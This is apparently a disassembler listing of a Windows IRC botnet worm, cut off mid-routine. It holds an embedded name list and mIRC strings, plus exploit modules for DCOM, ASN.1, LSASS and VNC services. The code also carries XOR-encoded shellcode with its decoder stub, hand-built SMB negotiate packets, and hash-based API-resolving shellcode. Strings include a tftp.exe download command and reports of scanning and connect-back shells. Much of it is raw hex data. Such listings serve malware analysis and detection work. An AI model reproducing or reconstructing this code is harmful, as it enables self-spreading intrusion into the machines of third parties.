aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DADCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAD8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAD4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAD0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DACCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAC8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAC4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAC0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DABCo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAB8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAB4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAB0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DAACo
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DAA8o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DAA4o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DAA0o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA9Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA98o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA94o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA90o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA8Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA88o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA84o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA80o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA7Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA78o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA74o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA70o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA6Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA68o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA64o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA60o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA5Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA58o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA54o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA50o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA4Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA48o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA44o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA40o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA3Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA38o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA34o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA30o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA2Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA28o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA24o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA20o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA1Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA18o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA14o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA10o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DA0Co
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DA08o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DA04o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DA00o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9FCo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9F8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9F4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9F0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9ECo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9E8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9E4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9E0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9DCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9D8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9D4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9CCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9C8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9C4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9C0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9BCo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9B8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9B4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9B0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D9ACo
		align 4
byte_431604	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_431608	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_43160C	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_431614	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431618	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_43161C	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431620	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_431624	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431628	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_43162C	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431630	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_431634	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_43163C	dd offset byte_5D4D5B	; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_43166C	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431670	dd 345053h		; DATA XREF: ___:0040B02Do
dword_431674	dd 34h			; DATA XREF: ___:0040B021o
dword_431678	dd 335053h		; DATA XREF: ___:0040B014o
dword_43167C	dd 33h			; DATA XREF: ___:0040B003o
dword_431680	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_431684	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431688	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431688	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43168C	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431690	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_431694	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------


loc_431698:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43169C
; ---------------------------------------------------------------------------


loc_43169A:				; CODE XREF: ___:loc_43169Cp
		jmp	short loc_4316A1
; ---------------------------------------------------------------------------


loc_43169C:				; CODE XREF: ___:loc_431698j
		call	loc_43169A


loc_4316A1:				; CODE XREF: ___:loc_43169Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_4316A6	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_4316AB	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316B0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316B4
; ---------------------------------------------------------------------------


loc_4316B2:				; CODE XREF: ___:loc_4316B4p
		jmp	short loc_4316B9
; ---------------------------------------------------------------------------


loc_4316B4:				; CODE XREF: ___:loc_4316B0j
		call	loc_4316B2


loc_4316B9:				; CODE XREF: ___:loc_4316B2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316BD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316C1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316C8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43172C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431745	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43174C
		retn
; ---------------------------------------------------------------------------
byte_43174C	db 0E8h			; CODE XREF: ___:00431749j
dword_43174D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431751	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43175B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_431808	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_43180C	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431810	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_431814	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431818	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43181C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319EA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
aDcom135_0	db 'dcom135',0
		align 4
		dd 736C0100h, 5F737361h, 353434h, 1, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A1E

; =============== S U B	R O U T	I N E =======================================



sub_431A0E	proc near		; CODE XREF: sub_431A0E:loc_431A1Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431A16:				; CODE XREF: sub_431A0E+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431A16
		jmp	short loc_431A23
; ---------------------------------------------------------------------------


loc_431A1E:				; CODE XREF: ___:00431A0Cj
		call	sub_431A0E


loc_431A23:				; CODE XREF: sub_431A0E+Ej
		jo	short near ptr dword_4319A4+1Ah
		cwde
		cdq
		cdq
		retn
sub_431A0E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 10h
dword_431BA0	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431BAC	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BCC	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431C14	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C50	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C60	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C7C	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431CB0	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431CE0	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431D00	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D1C	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_431D50	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D88	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_431DB8	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DEC	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_431E20	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E54	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E7C	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431EB4	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EF4	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F2C	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F60	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F94	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD9E+B2o
		align 4
dword_432048	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432050	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_432054	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_43205C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432114	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432120	db  81h	; 		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43216C	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4321B0	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4322AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322C2
		mov	[esi+8], eax
		call	sub_432275
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322C2
		mov	[esi+0Ch], eax
		call	sub_432227
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4321B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432227	proc near		; CODE XREF: sub_4321B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432250
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432227	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432250	proc near		; CODE XREF: sub_432227+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43225F:				; CODE XREF: sub_432250+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43226C
		inc	ebx
		jmp	short loc_43225F
; ---------------------------------------------------------------------------


loc_43226C:				; CODE XREF: sub_432250+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432250	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432275	proc near		; CODE XREF: sub_4321B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43228D:				; CODE XREF: sub_432275+1Ej
		cmp	[ecx], ebx
		jz	short loc_432295
		mov	ecx, [ecx]
		jmp	short loc_43228D
; ---------------------------------------------------------------------------


loc_432295:				; CODE XREF: sub_432275+1Aj
		mov	edx, edi


loc_432297:				; CODE XREF: sub_432275+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4322A1
		mov	edx, [edx+4]
		jmp	short loc_432297
; ---------------------------------------------------------------------------


loc_4322A1:				; CODE XREF: sub_432275+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432275	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322AC	proc near		; CODE XREF: sub_4321B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4322AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322C2	proc near		; CODE XREF: sub_4321B0+16p
					; sub_4321B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322D8:				; CODE XREF: sub_4322C2+33j
		jecxz	short loc_432312
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322E5:				; CODE XREF: sub_4322C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322E5
; ---------------------------------------------------------------------------


loc_4322F1:				; CODE XREF: sub_4322C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322D8
